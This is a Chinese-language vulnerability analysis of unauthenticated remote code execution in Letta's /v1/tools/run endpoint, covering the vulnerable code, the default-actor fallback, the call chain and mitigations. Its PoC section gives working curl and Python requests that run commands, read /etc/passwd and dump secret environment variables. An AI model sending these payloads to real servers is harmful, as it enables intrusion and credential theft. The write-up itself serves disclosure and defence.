1. 漏洞描述

该漏洞允许攻击者通过 REST API 提供了一个 /v1/tools/run端点,利用任意 payload 在目标服务器上执行任意 Python 代码或系统命令。

2. 影响版本

Letta <= 0.16.7(最新版)

3. 代码结构

letta-0.16.7/letta/
├── server/
│   ├── rest_api/
│   │   ├── app.py                          # FastAPI 应用创建 & 中间件配置
│   │   ├── dependencies.py                 # 认证依赖 (仅格式验证 user_id 头)
│   │   └── routers/v1/
│   │       └── tools.py                    # 漏洞核心路由 (/v1/tools/run)
│   └── server.py                           # run_tool_from_source() 服务方法
├── services/
│   ├── user_manager.py                     # DEFAULT_USER_ID 回退逻辑
│   └── tool_sandbox/
│       ├── base.py                         # 沙箱代码生成 (_render_sandbox_code)
│       └── local_sandbox.py                # 子进程执行 (create_subprocess_exec)

3. 漏洞成因

该漏洞由两个问题引发,第一是因为/v1/tools/run 端点接受并执行任意 Python代码,第二就是因为认证机制完全依赖客户端提供的请求头(user_id)且默认存在Default Actor 回退机制,而这两个问题就导致,任何能访问Letta AI的用户,不需要任何认证凭据,就可以通过发送post请求进行RCE,下面就详细分析一下两个问题。

3.1 问题一:/v1/tools/run 端点接受并执行任意代码

文件在letta/server/rest_api/routers/v1/tools.py:385-406中

@router.post("/run", response_model=ToolReturnMessage, operation_id="run_tool_from_source")
async def run_tool_from_source(
    server: SyncServer = Depends(get_letta_server),
    request: ToolRunFromSource = Body(...),
    headers: HeaderParams = Depends(get_headers),
):
    """
    Attempt to build a tool from source, then run it on the provided arguments
    """
    actor = await server.user_manager.get_actor_or_default_async(actor_id=headers.actor_id)

    return await server.run_tool_from_source(
        tool_source=request.source_code,
        tool_source_type=request.source_type,
        tool_args=request.args,
        tool_env_vars=request.env_vars,
        tool_name=request.name,
        tool_args_json_schema=request.args_json_schema,
        tool_json_schema=request.json_schema,
        pip_requirements=request.pip_requirements,
        actor=actor,
    )

在这里能够直观的看到request.source_code没有任何过滤,而且也没有AST检查这就导致了什么安全限制都没有,在这里的代码上下文也能看到没有沙箱隔离等等,就导致代码和Letta服务器在同一权限运行。

3.2 问题二:默认无认证

文件在letta/services/user_manager.py:113-135中

async def get_actor_or_default_async(self, actor_id: Optional[str] = None):
    """Fetch the user or default user asynchronously.

    Args:
        actor_id: The actor ID to fetch. If None and no_default_actor is True, raises NoResultFound.

    Raises:
        NoResultFound: If actor_id is None and no_default_actor setting is True.
    """
    # Security check: if no_default_actor is enabled and actor_id is None, raise error
    if settings.no_default_actor and (actor_id is None or actor_id == self.DEFAULT_USER_ID):
        raise NoResultFound("Non-default Actor ID is required when no_default_actor is enabled")

    target_id = actor_id or self.DEFAULT_USER_ID

    try:
        return await self.get_actor_by_id_async(target_id)
    except NoResultFound:
        if not settings.no_default_actor:
            user = await self.create_default_actor_async(org_id=DEFAULT_ORG_ID)
            return user
        else:
            raise

通过追踪no_default_actor就来到了 letta/settings.py里面,这里就明确的看到default默认是false

在这个文件里向上翻找可以看到环境变量的源地址是通过什么来获取的

追踪一下这个得到了这样一串东西

这里是干啥的呢,这里是开启密码保护的,保护的是user_id,如果没有密码保护就说明只检查了格式,不验证Token/Session

4.完整调用链

用语言解释一下,首先是用户构造的恶意请求,被tools.py接收之后因为没有启用密码保护导致只获取了user_id,但因为没有user_id就回退到了user_manager.py中去创建了默认用户,接着走到了server.py中去创建tool对象,其实就是将恶意请求存入了tool对象,在server这个文件往下就是触发,触发之后又跳转了,调到了base.py中生成了临时的py文件,生成之后在沙箱里进行了执行(并没有隔离)。
letta/server/rest_api/routers/v1/tools.py:385-406->letta/services/user_manager.py:113-135->letta/server/server.py:1619-1641->letta/services/tool_sandbox/local_sandbox.py:181-210这就是文件的调用关系。

5.PoC

5.1利用条件

Letta 版本 <= 0.16.7(当前最新版本)直接通杀

使用了默认的配置(也就是没有密码保护)

5.2利用方式

我这里只运行python脚本的,curl可以自己去玩玩

5.2.1:Curl获取

id获取

curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
  -H "Content-Type: application/json" \
  -d '{
    "source_code": "import os\ndef poc_rce():\n    return os.popen(\"id\").read()\n",
    "source_type": "python",
    "args": {},
    "name": "poc_rce"
  }'

读取文件

curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
  -H "Content-Type: application/json" \
  -d '{
    "source_code": "def read_file():\n    with open(\"/etc/passwd\") as f:\n        return f.read()\n",
    "source_type": "python",
    "args": {},
    "name": "read_file"
  }'

获取 API 密钥和数据库凭据

curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
  -H "Content-Type: application/json" \
  -d '{
    "source_code": "import os\ndef leak_env():\n    env_vars = dict(os.environ)\n    sensitive_keys = [k for k in env_vars if any(s in k.upper() for s in [\"KEY\", \"SECRET\", \"PASS\", \"TOKEN\", \"DATABASE\", \"PG\"])]\n    return {k: env_vars[k] for k in sensitive_keys}\n",
    "source_type": "python",
    "args": {},
    "name": "leak_env"
  }'

5.2.2:python脚本

import requests
import json

TARGET = "ip"
PORT = 端口号
URL = f"http://{TARGET}:{PORT}/v1/tools/run"

payload = {
    "source_code": """import os
def poc_rce():
    return os.popen("uname -a").read()
""",
    "source_type": "python",
    "args": {},
    "name": "poc_rce"
}

response = requests.post(URL, headers={"Content-Type": "application/json"}, json=payload)
result = response.json()

print(result.get("tool_return", "No output"))

6.修复方案

方案1:开启密码保护

# 设置环境变量中启用安全模式
export LETTA_SERVER_SECURE=true
export LETTA_SERVER_PASSWORD="<strong-random-password>"

缓解 2: 禁用默认的 Actor

# 防止未认证的请求自动获取默认身份
export NO_DEFAULT_ACTOR=true

缓解 3: 防火墙隔离

# 使用防火墙限制端口访问
iptables -A INPUT -p tcp --dport 8283 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 8283 -j DROP

如果想要完全修复还有一种办法就是官方修复(新版本)

7.结论

我们无需任何认证,也就是默认配置中no_default_actor为False,CheckPasswordMiddleware没有启用,而且通过实际测试,进行rce之后纯是root权限,攻击成本低用法简单,一个curl就可以rce。
最后提一嘴,以上三种修复方案可以一起用,效果会更好。